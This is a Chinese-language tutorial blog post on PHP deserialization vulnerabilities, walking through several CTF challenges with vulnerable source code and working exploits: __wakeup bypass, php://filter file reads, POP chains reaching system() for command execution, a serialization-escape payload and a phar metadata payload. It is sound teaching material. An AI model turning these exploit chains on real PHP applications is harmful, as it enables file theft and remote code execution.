PHP反序列化学习附题目

PHP 反序列化

序列化和反序列化

php中为了便于数据文件的保存与传输,会将对象转换成字符串,字符串包括 属性名 属性值 属性类型和该对象对应的类名,这就是序列化,而反序列化则相反将字符串重新恢复成对象。

序列化中常见的魔法函数:

__construct: 在创建对象时候初始化对象,一般用于对变量赋初值。

__destruct: 和构造函数相反,当对象所在函数调用完毕后执行。

__toString:当对象被当做一个字符串使用时调用。

__wakeup:反序列化恢复对象之前调用该方法

__get:在调用不可访问的属性的时候会自动执行  #(1)私有属性,(2)没有初始化的属性

__invoke()当脚本尝试将对象调用为函数时触发
O:3:"Ctf":3{s:4:"flag";s:13:"flag{abedefg}";s:4:"name";s:6:"shanks";s:3:"age";s:2:"18";}

O代表对象 因为我们序列化的是一个对象 序列化数组则用A来表示
3 代表类名字占三个字符 
ctf 类名
3 代表三个属性
s代表字符串
4代表属性名长度
flag属性名
s:13:"flag{abedefg}" 字符串 属性值长度 属性值

访问控制修饰符

根据访问控制修饰符的不同 序列化后的 属性长度和属性值会有所不同,所以这里简单提一下

public(公有)
protected(受保护)
private(私有的)
protected属性被序列化的时候属性值会变成:%00*%00属性名
private属性被序列化的时候属性值会变成:%00类名%00属性名
<?php
class a_object{
    public $Id1 = 123;
    protected $Id2 = 123;
    private $Id3 = 123;
}
$a = new a_object;
$s=serialize($a);
echo $s;
echo '<br>';
print_r(unserialize($s));
O:8:"a_object":3:{s:3:"Id1";i:123;s:6:"%00*%00Id2";i:123;s:13:"%00a_object%00Id3";i:123;}<br>a_object Object
(
    [Id1] => 123
    [Id2:protected] => 123
    [Id3:a_object:private] => 123
)

[极客大挑战 2019]PHP

考点:

  • public、protected与private在序列化时的区别

  • __wakeup()魔术方法绕过

  • www.zip源码泄露

index.php的关键部分:

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

主要看class.php:

<?php
include 'flag.php';

error_reporting(0);

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

        }
    }
}
?>

逻辑挺简单的,在执行__destruct()的时候,使username等于admin并且password等于100就会输出flag。但是在进行反序列化,会优先调用__wakeup(),使username等于guest。我们使对象属性个数的值大于真实个数的属性时就会跳过__wakeup(),利用序列化字符串中对象的个数进行绕过__wakeup()

<?php
class Name
{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username, $password)
    {
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name(admin,100);
$b = serialize($a);
echo $b."\n";
echo urlencode($b);
?>

#O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}

#O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

private属性被序列化的时候属性值会变成%00类名%00属性名

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

[BUU] CODE REVIEW 1

考点:

  • md5弱类型比较
  • 反序列化
<?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/10/6
 * Time: 8:04 PM
 */

highlight_file(__FILE__);

class BUU {
   public $correct = "";
   public $input = "";

   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}

if($_GET['pleaseget'] === '1') {
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}

correct等于input进行反序列化输出flag,md5弱类型绕过

<?php
class BUU {
    public $correct = "";
    public $input = "";

    public function __destruct() {
        try {
            $this->correct = base64_encode(uniqid());
            if($this->correct === $this->input) {
                echo file_get_contents("/flag");
            }
        } catch (Exception $e) {
        }
    }
}
$a = new BUU();
$a->correct=&$a->input;
echo serialize($a);

[ZJCTF 2019] NiZhuanSiWei

考点:

  • data://伪协议传参
  • toString()魔术方法
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

用data://伪协议传参,写入welcome to the zjctf

?text=data:text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

base64解密:

<?php 
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

一个toString()魔术方法,当对象被当做一个字符串使用时调用,利用echo file_get_contents($this->file); 触发,读flag。

exp:

<?php
class Flag{  //flag.php
    public $file='flag.php';
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
        }
    }
}
$a = new Flag();
echo serialize($a);
?>
//O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

[网鼎杯 2020 青龙组] AreUSerialz

考点:

  • 反序列化
  • php://filter
  • is_valid绕过
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

1、搜索unserialize,找到输入点为GET请求提交的参数str,该参数会被反序列化。

2、搜索__destruct,找到析构函数,发现起调用了process函数,同时该函数会根据op变量值的不同,会相应调用读写函数。

3、所以,这里的思路就清楚了:

  (一)将op设置为int型的2,绕过析构函数中的if判断,同时又可以调用到读文件的流程

  (二)利用大写S采用的16进制,来绕过is_valid中对空字节的检查

<?php

class FileHandler {

    public $op=2;
    public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
    public $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        // $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        // $this->process();
    }

}
$A=new FileHandler();
$B=serialize($A);
echo $B;

[网鼎杯 2020 朱雀组] phpweb

考点:

  • 反序列化
  • 回调函数

页面会自动刷新,抓个包或者hackbar,能够发现post传了2个参数,是php的date()函数,后面是data函数的参数,尝试用file_get_contents()读源码。

func=file_get_contents&p=index.php
<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

源码也是比较简单的,仅仅检测了func,也是把基本把rce和写shell的函数禁了,我们可以利用反序列化,通过call_user_func回调函数去执行。

exp:

class Test {
    var $func = "system";
    var $p = "cat /tmp/flagoefiu4r93";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}

$a = new Test();
echo (serialize($a));
?>

[MRCTF2020]Ezpop

考点:

  • 反序列化pop链
  • 文件包含
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

了解一下本题需要知道的魔术方法:

__construct   当一个对象创建时被调用,
__toString   当一个对象被当作一个字符串被调用。
__wakeup()   使用unserialize时触发
__get()    用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke()   当脚本尝试将对象调用为函数时触发

Modifier类明显的能够看到include()函数,我们得调用这个函数去读取文件,而我们需要调用__invoke()这个魔术方法,这个魔术方法的特性是当脚本尝试将对象调用为函数时触发。

我们再看Test类,__get()方法是访问不可访问的属性时会自动调用,同时这个方法会返回一个函数。

再看Show类,__construct()方法创建新对象的时候会自动调用这个方法,还有 _toString()方法,当一个对象被当作一个字符串被调用,而他返回了$this->str->source;所以要echo include()里的内容,得让source等于一个对象。

思路如下:

  1. 调用include()函数,让Test类中的属性p等于Modifier这个类,从而触发_get()魔术方法
    将Modifier这个类变成一个函数,从而调用__invoke()方法,进而调用include()函数
  2. 让source 等于对象,进而触发__toString方法,输出内容
<?php
class Modifier {
    protected  $var="php://filter/convert.base64-encode/resource=flag.php";
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return "Shanks";
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
class Test{
    public $p;
    public function __construct(){
        $this->p = new Modifier();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

$a = new Show();
$a->str=new Test();
$b = new Show($a);
echo urlencode(serialize($b));

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22index.php%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

[安洵杯 2019]easy_serialize_php

考点:

  • 变量覆盖漏洞

  • 反序列化逃逸

<?php

  $function = @$_GET['f'];

  function filter($img){
      $filter_arr = array('php','flag','php5','php4','fl1g');
      $filter = '/'.implode('|',$filter_arr).'/i';
      return preg_replace($filter,'',$img);
  }

  if($_SESSION){
      unset($_SESSION);
  }

  $_SESSION["user"] = 'guest';
  $_SESSION['function'] = $function;

  extract($_POST);

  if(!$function){
      echo '<a href="index.php?f=highlight_file">source_code</a>';
  }

  if(!$_GET['img_path']){
      $_SESSION['img'] = base64_encode('guest_img.png');
  }else{
      $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
  }

  $serialize_info = filter(serialize($_SESSION));

  if($function == 'highlight_file'){
      highlight_file('index.php');
  }else if($function == 'phpinfo'){
      eval('phpinfo();'); //maybe you can find something in here!
  }else if($function == 'show_image'){
      $userinfo = unserialize($serialize_info);
      echo file_get_contents(base64_decode($userinfo['img']));
  }

首先肯定是看到file_get_contents(base64_decode($userinfo['img']));,想要读flag,就得利用file_get_contents。从这个函数逆推回去$userinfo["img"]的值,可以发现这个值虽然是我们可控的,但是会经过sha1加密,而我没有解密,导致无法读取任何文件。

此时需要把注意力转移到另外一个函数serialize上,这里有一个很明显的漏洞点,数据经过序列化了之后又经过了一层过滤函数,而这层过滤函数会干扰序列化后的数据。

paylaod:

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image

令_SESSION[user]为flagflagflagflagflagflag,正常情况下序列化后的数据是这样的:

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

而经过了过滤函数之后,序列化的数据就会变成这样:

a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

后面的24个字符杯吞掉了,导致我们可以控制$userinfo["img"]的值,达到任意文件读取的效果。

在读取完d0g3_f1ag.php后,得到下一个hint,获取到flag文件名,此时修改payload读根目录下的flag即可。

ezseria

考点:

  • pop链
  • phar://协议

学长整的题。

<?php
include_once "sqlhelper.php";

class InitScore{
    public $sql;
    public $uid;
    public $uname;

    public function __construct($uid){
        $this->uid = $uid;
        $this->sql = "UPDATE user SET score = 60 WHERE id='$this->uid'"; //BaseScore
        $mysql = new sqlhelper();
        $res=$mysql->execute_dml($this->sql);
    }

    public function __toString(){
        return $this->uname->sql;
    }

    public function __wakeup(){
        if(preg_match("/flag/i", $this->sql)) {
            $this->sql = "";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

class User
{
    public $uid;

    public function __construct($uid)
    {
        $this->uid = $uid;
        $init = new InitScore($this->uid);
    }
    public function getScore(){
        $mysql = new sqlhelper();
        $sql = "SELECT score FROM user where id = '$this->uid'";
        $res = $mysql->execute_dql($sql);
        $row = $res->fetch_row();
        if($row[0]){
            return $row[0];
        }else{
            return NULL;
        }
    }
}
class Modifier {
    public $arg;
    public $append;

    public function __invoke(){
        call_user_func($this->append,$this->arg);
    }
}

看了下代码就是得构造pop链。

首先看到Modifier类 ,call_user_func回调函数,最后执行命令就是利用这个,我们得触发invoke(),触发invoke()的条件是对象被当作函数调用;

看到Test类,有一个get()方法,返回了一个函数,想要触发get()方法,就得从不可访问的属性读取数据;

再看到InitScore类,有一个toString()方法,他返回了一个$this->uname->sql,所以要echo sql,触发toString()方法,通过__wakeup()魔术方法作为入口点,将sql以一个字符串的形式输出。

<?php
class InitScore{
    public $sql;
    public $uid;
    public $uname;

    public function __toString(){
//        phpinfo();
        return $this->uname->sql;
    }

    public function __wakeup(){
        if(preg_match("/flag/i", $this->sql)) {
            $this->sql = "";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
//        phpinfo();
        $function = $this->p;
        return $function();
    }
}

class Modifier {
    public $arg="ls";
    public $append="system";

    public function __invoke(){
        call_user_func($this->append,$this->arg);
    }
}

$a = new InitScore();
$b = new InitScore();
$test = new Test();
$Modifier = new Modifier();
$test->p = $Modifier;
$b->uname = $test;
$a->sql=$b;
echo (serialize($a));

最后还得利用phar://协议,

$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');   //设置stub,增加gif文件头
$phar ->addFromString('test.txt','test');  //添加要压缩的文件
$phar -> setMetadata($a);  //将自定义meta-data存入manifest
$phar -> stopBuffering();

php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化

%title插图%num

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇